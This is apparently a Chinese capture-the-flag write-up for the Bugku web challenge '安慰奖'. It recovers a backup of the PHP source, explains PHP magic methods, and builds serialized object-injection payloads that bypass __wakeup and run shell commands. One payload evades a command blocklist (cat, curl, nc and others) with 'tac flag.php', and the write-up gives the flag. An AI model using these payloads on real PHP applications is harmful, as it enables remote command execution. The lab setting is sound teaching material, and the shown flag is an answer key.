Bugku-WEB-安慰奖
打开网页发现是空白的,F12查看一下源代码
发现提示
base64解码后为:backups
提示有备份
御剑跑一下
得到网站备份网址,访问下载备份
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); echo "<!-- YmFja3Vwcw== -->"; class ctf { protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; } function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('</br>flag能让你这么容易拿到吗?<br>'); } if ($this->username === 'admin') { // echo "<br>right!<br>"; $a = `$this->cmd`; var_dump($a); }else { echo "</br>给你个安慰奖吧,hhh!</br>"; die(); } } } $select = $_GET['code']; $res=unserialize(@$select); ?>
首先需要了解php的一些魔术方法的性质
- serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
- 与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用
__wakeup
方法,预先准备对象需要的资源。 - __construct():PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
- __destruct():PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
需要注意的是当访问控制符为private与protect时,序列化时比较特殊:
- protected属性被序列化的时候属性值会变成:%00*%00属性名
- private属性被序列化的时候属性值会变成:%00类名%00属性名
分析代码
需要我们上传一个code参数,程序会对其反序列化,当判断username为admin时,会执行cmd内的代码。
初步构造: O:3:"ctf":2:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
进行绕过:
因为调用unserialize函数之前会调用__wakeup方法,后面会将username覆盖为guest。将变量个数修改为大于实际值的数就能够绕过。
构造:O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
发现flag.php,但大部分输出语句都被过滤了,但还是有些漏网之鱼==,参考:https://blog.csdn.net/weixin_30344995/article/details/96261436?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control
使用tac指令读取:O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}
得到flag
flag{Unser1alize_and_2CE_Add}